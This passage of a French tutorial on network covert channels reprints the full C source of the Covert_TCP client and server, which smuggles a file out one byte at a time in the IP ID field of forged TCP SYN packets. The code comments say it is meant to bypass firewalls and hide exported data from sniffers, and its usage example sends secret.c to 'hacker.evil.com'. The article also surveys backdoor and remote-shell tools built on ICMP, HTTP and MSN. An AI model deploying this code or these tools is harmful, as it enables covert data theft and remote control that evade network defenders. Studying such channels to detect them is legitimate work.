- Le champ TTL: acronyme de Time To Live ce champ permet de spécifier le nombre de routeur que le paquet peut passer avant d'être détruit (pour éviter les paquets "zombie").
Tout comme TCP, l'header IP possède un complément:
http://www.frameip.com/enteteip/
- Les options: Ce champ doit, à l'aide du bourrage, occuper une taille de 4 octets.

Si vous n'avez pas le courage de lire la RFC en entière, allez faire un tour sur [FrameIp].
Le code source que je vais vous présentez a été écrit par Rowland dans [ROWLANDCOVER]. Les données sont cachées dans le champ Identifiant.
Passons à la pratique.
client.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>

12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13        int);
14        
15 unsigned int host_convert(char *);
16 unsigned short in_cksum(unsigned short *, int);
17 void usage(char *);

client.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
5 * 
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header. 
10 * This is useful for bypassing firewalls from the inside, and for 
11 * exporting data with innocuous looking packets that contain no data for 
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk. 
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 * 
21 * Portions of this code based on ping.c (c) 1987 Regents of the 
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */

26 #include "client.h"

27 int main(int argc, char *argv[]) {
28    unsigned int source_host=0,dest_host=0;
29    unsigned short source_port=0,dest_port=80;
30    int ipid=0,file=0;
31    int count;
32    char desthost[80],srchost[80],filename[80];
33    if(geteuid() !=0)
34     {
35     printf("\nYou need to be root to run this.\n\n");
36     exit(0);
37     }
38     
39    if((argc < 5) || (argc > 13))
40    {
41    usage(argv[0]);
42    exit(0);
43    }    
44    for(count=0; count < argc; ++count)
45     {
46     if (strcmp(argv[count],"-dest") == 0)
47      {
48      dest_host=host_convert(argv[count+1]); 
49      strncpy(desthost,argv[count+1],79);
50      }
51      
52     else if (strcmp(argv[count],"-source") == 0)
53      {
54      source_host=host_convert(argv[count+1]); 
55      strncpy(srchost,argv[count+1],79);
56      }
57     else if (strcmp(argv[count],"-file") == 0)
58      {
59      strncpy(filename,argv[count+1],79);
60      file=1;
61      }
62     else if (strcmp(argv[count],"-source_port") == 0)
63       source_port=atoi(argv[count+1]);
64     else if (strcmp(argv[count],"-dest_port") == 0)
65       dest_port=atoi(argv[count+1]);
66     }
67     ipid=1; 
68    if(file != 1)
69     {
70     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
71     exit(1);
72     }
73      if (source_host == 0 && dest_host == 0)
74       {
75       printf("\n\nYou need to supply a source and destination address for client mode.\n\n");
76       exit(1);
77       }
78      else
79       {
80       printf("Destination Host: %s\n",desthost);
81       printf("Source Host     : %s\n",srchost);
82        if(source_port == 0)
83         printf("Originating Port: random\n");
84        else
85         printf("Originating Port: %u\n",source_port);
86       printf("Destination Port: %u\n",dest_port);
87       printf("Encoded Filename: %s\n",filename);
88        printf("Encoding Type   : IP ID\n");
89        printf("\nClient Mode: Sending data.\n\n");
90       
91      }
92      
93      forgepacket(source_host, dest_host, source_port, dest_port,filename,ipid);
94      exit(0);
95 }

96 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
97 short source_port, unsigned short dest_port, char *filename, int ipid) {
98    struct send_tcp
99    {
100       struct iphdr ip;
101       struct tcphdr tcp;
102    } send_tcp;
103    struct pseudo_header
104    {
105       unsigned int source_address;
106       unsigned int dest_address;
107       unsigned char placeholder;
108       unsigned char protocol;
109       unsigned short tcp_length;
110       struct tcphdr tcp;
111    } pseudo_header
112    int ch;
113    int send_socket;
114    struct sockaddr_in sin;
115    FILE *input;
116    
117  srand((getpid())*(dest_port)); 
118  
119  if((input=fopen(filename,"rb"))== NULL)
120  {
121  printf("I cannot open the file %s for reading\n",filename);
122  exit(1);
123  }
124 else while((ch=fgetc(input)) !=EOF)
125  {
126  sleep(1);
127    send_tcp.ip.ihl = 5;
128    send_tcp.ip.version = 4;
129    send_tcp.ip.tos = 0;
130    send_tcp.ip.tot_len = htons(40);
131    send_tcp.ip.id =ch;
133    send_tcp.ip.frag_off = 0;
134    send_tcp.ip.ttl = 64; 
135    send_tcp.ip.protocol = IPPROTO_TCP;
136    send_tcp.ip.check = 0;
137    send_tcp.ip.saddr = source_addr;
138    send_tcp.ip.daddr = dest_addr;

139 if(source_port == 0) 
140    send_tcp.tcp.source = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));

141 else 
142    send_tcp.tcp.source = htons(source_port);
143    send_tcp.tcp.seq = 1+(int)(10000.0*rand()/(RAND_MAX+1.0));
144    send_tcp.tcp.dest = htons(dest_port);
145    send_tcp.tcp.ack_seq = 0;
146    send_tcp.tcp.res1 = 0;
147    send_tcp.tcp.doff = 5;
148    send_tcp.tcp.fin = 0;
149    send_tcp.tcp.syn = 1;
150    send_tcp.tcp.rst = 0;
151    send_tcp.tcp.psh = 0;
152    send_tcp.tcp.ack = 0;
153    send_tcp.tcp.urg = 0;
154    send_tcp.tcp.ece = 0;
155    send_tcp.tcp.window = htons(512);
156    send_tcp.tcp.check = 0;
157    send_tcp.tcp.urg_ptr = 0;

158    sin.sin_family = AF_INET;
159    sin.sin_port = send_tcp.tcp.source;
160    sin.sin_addr.s_addr = send_tcp.ip.daddr;   

161    send_socket = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
162    if(send_socket < 0)
163    {
164       perror("send socket cannot be open. Are you root?");
165       exit(1);
166    }

167       send_tcp.ip.check = in_cksum((unsigned short *)&send_tcp.ip, 20);
168       
169       pseudo_header.source_address = send_tcp.ip.saddr;
170       pseudo_header.dest_address = send_tcp.ip.daddr;
171       pseudo_header.placeholder = 0;
172       pseudo_header.protocol = IPPROTO_TCP;
173       pseudo_header.tcp_length = htons(20);

174       bcopy((char *)&send_tcp.tcp, (char *)&pseudo_header.tcp, 20);

175       send_tcp.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);

176       sendto(send_socket, &send_tcp, 40, 0, (struct sockaddr *)&sin, sizeof(sin));
177       printf("Sending Data: %c\n",ch);

178   close(send_socket);
179  } 

180 fclose(input);
181 } 

182 unsigned int host_convert(char *hostname){
183    static struct in_addr i;
184    struct hostent *h;
185    i.s_addr = inet_addr(hostname);
186    if(i.s_addr == -1)
187    {
188       h = gethostbyname(hostname);
189       if(h == NULL)
190       {
191          fprintf(stderr, "cannot resolve %s\n", hostname);
192          exit(0);
193       }
194       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
195    }
196    return i.s_addr;
197 }

198 unsigned short in_cksum(unsigned short *ptr, int nbytes){
199         register long           sum;            /* assumes long == 32 bits 
200 */
201         u_short                 oddbyte;
202         register u_short        answer;         /* assumes u_short == 16 bits */

203         /*
204          * Our algorithm is simple, using a 32-bit accumulator (sum),
205          * we add sequential 16-bit words to it, and at the end, fold back
206          * all the carry bits from the top 16 bits into the lower 16 bits.
207          */

208         sum = 0;
209         while (nbytes > 1)  {
210                 sum += *ptr++;
211                 nbytes -= 2;
212         }

213                                 /* mop up an odd byte, if necessary */
214         if (nbytes == 1) {
215                 oddbyte = 0;            /* make sure top half is zero */
216                 *((u_char *) &oddbyte) = *(u_char *)ptr;   /* one byte only */
217                 sum += oddbyte;
218         }

219         /*
220          * Add back carry outs from top 16 bits to low 16 bits.
221          */

222         sum  = (sum >> 16) + (sum & 0xffff);    /* add high-16 to low-16 */
223         sum += (sum >> 16);                     /* add carry */
224         answer = ~sum;          /* ones-complement, then truncate to 16 bits 
225 */
226         return(answer);
227 }


228 void usage(char *progname){
229       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
230 filename\n\n", 
231 progname);
232       printf("-dest dest_ip      - Host to send data to.\n");
233       printf("-source source_ip  - Host where you want the data to originate \
234 from.\n");
235       printf("-source_port port  - IP source port you want data to appear from. \n");
236       printf("                     (randomly set by default)\n");
237       printf("-dest_port port    - IP source port you want data to go to. In\n");
238       printf("                     SERVER mode this is the port data will be coming\n");
239       printf("                     inbound on. Port 80 by default.\n");
240       printf("-file filename     - Name of the file to encode and transfer.\n");
241       printf("\nPress ENTER for examples.");
242       getchar();
243       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com \
244       -file secret.c\n\n");
245       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
246       printf("at a time using the default IP ID packet encoding.\n");
247       exit(0);
248 }
Alors tout comme le code précédent nous iront à l'essentiel et voir ce qui est différent des codes précédents.
Tout d'abord remarquez que l'on forge un header TCP dans IP pour que le paquet est vraiment l'air véridique.
Comparer au code sur le covert channel TCP:
ligne 131: contrairement à l'ancien code, Le champ Identification de l'header IP est rempli avec nos données.
ligne 143: Le champ N° de Séquence de l'header TCP est bel et bien rempli avec un nombre aléatoire.
Tout le reste du code est identique à celui sur les covert channel TCP.

Côté serveur (ça se passe de commentaire).
server.h:
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <signal.h>
4 #include <string.h>
5 #include <unistd.h>
6 #include <netdb.h>
7 #include <netinet/in.h>
8 #include <sys/socket.h>
9 #include <arpa/inet.h>
10 #include <linux/ip.h>
11 #include <linux/tcp.h>

12 void forgepacket(unsigned int, unsigned int, unsigned short, unsigned short, char *,
13        int);
14        
15 unsigned int host_convert(char *);
16 void usage(char *);

server.c:
1 /* Covert_TCP 1.0 - Covert channel file transfer for Linux
2 * Written by Craig H. Rowland (crowland@psionic.com)
3 * Copyright 1996 Craig H. Rowland (11-15-96)
4 * NOT FOR COMMERCIAL USE WITHOUT PERMISSION. 
5 * 
6 *
7 * This program manipulates the TCP/IP header to transfer a file one byte
8 * at a time to a destination host. This progam can act as a server and a client
9 * and can be used to conceal transmission of data inside the IP header. 
10 * This is useful for bypassing firewalls from the inside, and for 
11 * exporting data with innocuous looking packets that contain no data for 
12 * sniffers to analyze. In other words, spy stuff... :)
13 *
14 * PLEASE see the enclosed paper for more information!!
15 *
16 * This software should be used at your own risk. 
17 *
18 * compile: cc -o covert_tcp covert_tcp.c
19 *
20 * 
21 * Portions of this code based on ping.c (c) 1987 Regents of the 
22 * University of California. (See function in_cksm() for details)
23 *
24 * Small portions from various packet utilities by unknown authors
25 */

26 #include "server.h"
27 int main(int argc, char *argv[]){
28    unsigned int source_host=0,dest_host=0;
29    unsigned short source_port=0,dest_port=80;
30    int ipid=0,file=0;
31    int count;
32    char desthost[80],srchost[80],filename[80];
33    if(geteuid() !=0)
34     {
35     printf("\nYou need to be root to run this.\n\n");
36     exit(0);
37     }
38    if((argc < 5) || (argc > 13))
39    {
40    usage(argv[0]);
41    exit(0);
42    }
43    for(count=0; count < argc; ++count)
44     {
45     if (strcmp(argv[count],"-dest") == 0)
46      {
47      dest_host=host_convert(argv[count+1]); 
48      strncpy(desthost,argv[count+1],79);
49      }
50      
51     else if (strcmp(argv[count],"-source") == 0)
52      {
53      source_host=host_convert(argv[count+1]); 
54      strncpy(srchost,argv[count+1],79);
55      }
56     else if (strcmp(argv[count],"-file") == 0)
57      {
58      strncpy(filename,argv[count+1],79);
59      file=1;
60      }
61     else if (strcmp(argv[count],"-source_port") == 0)
62       source_port=atoi(argv[count+1]);
63     else if (strcmp(argv[count],"-dest_port") == 0)
64       dest_port=atoi(argv[count+1]);
65     }
66    /* check the encoding flags */
67     ipid=1; /* set default encode type if none given */
68   
69    if(file != 1)
70     {
71     printf("\n\nYou need to supply a filename (-file <filename>)\n\n");
72     exit(1);
73     }
74     
75     if (source_host == 0 && source_port == 0)
76       {
77       printf("You need to supply a source address and/or source port for server mode.\n");
78       exit(1);
79       }
80      if(dest_host == 0) 
81       strcpy(desthost,"Any Host");
82      if(source_host == 0)
83       strcpy(srchost,"Any Host");
84      printf("Listening for data from IP: %s\n",srchost);
85      
86      if(source_port == 0)
87       printf("Listening for data bound for local port: Any Port\n");
88      else
89       printf("Listening for data bound for local port: %u\n",source_port);
90      printf("Decoded Filename: %s\n",filename);
91       printf("Decoding Type Is: IP packet ID\n");
92      printf("\nServer Mode: Listening for data.\n\n");
93      forgepacket(source_host, dest_host, source_port, dest_port,filename,ipid);
94    exit(0);
95 }

96 void forgepacket(unsigned int source_addr, unsigned int dest_addr, unsigned \
97 short source_port, unsigned short dest_port, char *filename, int ipid ) {
98    struct recv_tcp
99    {
100       struct iphdr ip;
101       struct tcphdr tcp;
102       char buffer[10000];
103    } recv_pkt;
104    int recv_socket;
105    FILE *output;
106    
107    srand((getpid())*(dest_port)); 
108    
109     if((output=fopen(filename,"wb"))== NULL)
110   {
111   printf("I cannot open the file %s for writing\n",filename);
112   exit(1);
113   }
114  while(1) 
115  {

116    recv_socket = socket(AF_INET, SOCK_RAW, 6);
117    
118    if(recv_socket < 0)
119    {
120       perror("receive socket cannot be open. Are you root?");
121       exit(1);
122    }
123   read(recv_socket, (struct recv_tcp *)&recv_pkt, 9999);
124         if (source_port == 0) 
125         {       
126                 if((recv_pkt.tcp.syn == 1) && (recv_pkt.ip.saddr == source_addr)) 
127                 {
128                        
129                         printf("Receiving Data: %c\n",recv_pkt.ip.id);
130                         fprintf(output,"%c",recv_pkt.ip.id);
131                         fflush(output);
132                 } 
133         } 
134         else
135         {
136                 if((recv_pkt.tcp.syn==1) && (ntohs(recv_pkt.tcp.dest) == source_port)) 
137                 {
138                        printf("Receiving Data: %c\n",recv_pkt.ip.id);
139                        fprintf(output,"%c",recv_pkt.ip.id);
140                        fflush(output);
141                 } 
142         } 
143    close(recv_socket); 
144   }
145   fclose(output);
146 }

147 unsigned int host_convert(char *hostname)
148 {
149    static struct in_addr i;
150    struct hostent *h;
151    i.s_addr = inet_addr(hostname);
152    if(i.s_addr == -1)
153    {
154       h = gethostbyname(hostname);
155       if(h == NULL)
156       {
157          fprintf(stderr, "cannot resolve %s\n", hostname);
158          exit(0);
159       }
160       bcopy(h->h_addr, (char *)&i.s_addr, h->h_length);
161    }
162    return i.s_addr;
163 } 

164 void usage(char *progname)
165 {
166       printf("Covert TCP usage: \n%s -dest dest_ip -source source_ip -file \
167 filename -source_port port -dest_port port\n\n", 
168 progname);
169       printf("-dest dest_ip      - Host to send data to.\n");
170       printf("-source source_ip  - Host data will be coming FROM.\n");
171       printf("-source_port port  - IP source port you want data to appear from. \n");
172       printf("                     (randomly set by default)\n");
173       printf("-dest_port port    - IP source port you want data to go to. In\n");
174       printf("                     SERVER mode this is the port data will be coming\n");
175       printf("                     inbound on. Port 80 by default.\n");
176       printf("-file filename     - Name of the file to encode and transfer.\n");
177       printf("\nPress ENTER for examples.");
178       getchar();
179       printf("\nExample: \nclient -dest foo.bar.com -source hacker.evil.com - \
180 source_port 1234 -dest_port 80 -file secret.c\n\n");
181       printf("Above sends the file secret.c to the host hacker.evil.com a byte \n");
182       printf("at a time using the default IP packet ID encoding.\n");
183       exit(0);
184 } 
[RFC]
http://abcdrfc.free.fr/rfc-vf/rfc791.html

[FrameIp]
http://www.frameip.com/enteteip/

Outils

Je vais vous parlez, dans cette section, des différents outils de covert channel que je connais, de leurs avantages et de leurs défauts, beaucoup des descriptions de ces outils sont tirées de l'excellent article [Covert Shell] par J. Christian Smith. Les outils seront présentés en fonction de leurs ancienneté (du plus ancien au plus contemporain).

- Loki: Cet outil, présenté dans phrack 49 par Alhambra et daemon9, utilise le corps des messages ICMP echo request/reply pour mettre en place une communication bidirectionnelle. Normalement le corps de ces messages ICMP est utilisé pour la vérification de l'intégrité des paquets ou encore des informations de temps. Ceci concerne la première version de Loki. Il y a eut une deuxième version, présentée dans phrack 51, où l'idée fût prolongée pour être mise en place dans des paquets UDP camouflés sous forme de requête DNS. La possibilité de changer de protocole au-vol a également été implémenté. Une encryption blowfish et l'échange de clé symétrique/asymétrique fûrent également implémentés.

- Daemonshell-UDP: Présenter par THC's van Hauser, cet outil utilise les corps des messages TCP et UDP. L'utilisation du corps de ces protocoles ne nécessitent pas les droits root, ce qui peut être un avantage. De plus, ce programme tente de se faire passer pour l'utilitaire vi.

- ICMP backdoor: Réaliser par la team CodeZero, cet outil utilise le corps des messages ICMP echo reply. Cet outil, contrairement à Loki, n'est pas intéractif. Par contre, le fait que ce programme n'utilise pas le padding (remplissage) du paquet ICMP peut prêter à confusion et le faire passer pour un simple paquet IP inconnus vu sa taille réduite.

- Rwwwshell: Une autre création de la team THC's van Hauser consistant en un covert channel dans le protocole HTTP avec une connection renversée, le client est placer sur la cible et se connecte au serveur. Ceci permet d'éviter beaucoup de filtres firewall/proxy. Le fonctionnement de cet utilitaire est simple.
Tout d'abord le client, à interval régulier, se connecte au serveur (placer sur une autre machine sous le contrôle du hacker) puis le serveur répond en envoyant les commandes shell au client et enfin le client renvoie la sortie produite par la commande shell au serveur. Les données sont uuencodée pour passer inaperçues. Le problème de cet outil est qu'il appel un script cgi ce qui est très visible dans les logs du traffic HTTP.

- B0CK: Réaliser par la team s0ftpr0ject, cet outil utilise les messages IGMP multicast pour caché ses données. La grande innovation de ce programme est qu'il utilise l'adresse IP source pour cacher les données : la table ASCII va au maximum jusqu'à 255 tout comme une adresse IPv4 ce qui nous permet de cacher au minimum 4 caractères dans une ip. Pour chaque envoie de donnée l'adress IP source change donc ce qui est tout à fait crédible. Mais l'IP spoofing est une technique qui fonctionne de moins en moins.

- CCTT: Une réalisation de la team Gray-World. Cet utilitaire permet de faire du tunneling et du covert channel à haut niveau (SOCK_STREAM et SOCK_DGRAM). Il s'agit d'un utilitaire "touche à tout" capable de mettre en place des shell, reverse shell... Pour plus d'informations allez donc sur le site [CCTT]

- MsnShell: Un outil très intéressant utilisant un protocole de très haut niveau, MSN. Créé par Wei Zheng, cet utilitaire s'occupe de mettre en place un shell, lorsqu'une personne s'y connectes, via un client MSN (MSN Messenger par exemple) et tapes des commandes Linux. Le principe est très intéressant sachant que souvent dans le réseau d'une entreprise, les connections de l'intérieur vers l'extérieur sont interdites sauf pour certains protocoles/ports. Allez donc voir sur la page de [MsnShell] pour plus d'informations.

On peut aussi utilisé des outils forgeant des paquets comme Hping, Scapy, Rafale X etc...

[CovertShell]
http://www.ouah.org/covert_shells.htm

[CCTT]
http://gray-world.net/pr_cctt.shtml

[MsnShell]
http://www.gray-world.net/pr_msnshell.shtml

Conclusion

Les covert channel sont connus par les hackers depuis un moment déjà : le premier programme rendu publique utilisant un covert channel était Loki sorti en 1996. Mais ces techniques datent de bien avant la sortie de cet outil. Et pourtant, ce thème reste toujours d'actualité et le restera surement pendant un bon moment, à l'inverse il évoluera de plus en plus, sachant que de plus en plus de protocoles de très haut niveau (au dessus de HTTP, IRC...) se développent.
J'espère vous avoir éclairer avec cet article sur les covert channel. Ne connaissant aucun autre article en français sur le sujet je me suis dit "pourquoi pas" :).
[NPN: pour compiler les code source fournis dans cet article:
gcc -o client client.c
il est impossible de mettre nos données n'importe où dans le header des paquets sinon ceux-ci risquent de ne pas respecter la RFC et donc de ne pas être transmis.]

Remerciements: zul et x-faktor qui m'ont bien aider (des fois sans même s'en rendre compte :)).
Un petit coucou à tous les gens que j'ai croiser depuis que je m'intéresse au hack/sécurité : Subfr.org, Securi-Corp, CNC (lol), Degenere-Science.

Flyers.
"Tu imagines si tu étais le roi du monde tout en vivant dans les déchets ? Ce serait une façon de mépriser la société qui te rejètes mais que tu commandes."  Kes

Latest

Elixir Journey

I’ve been working on a blockchain oriented project for some months now, and I wanted to share with you this exciting journey I’m in working...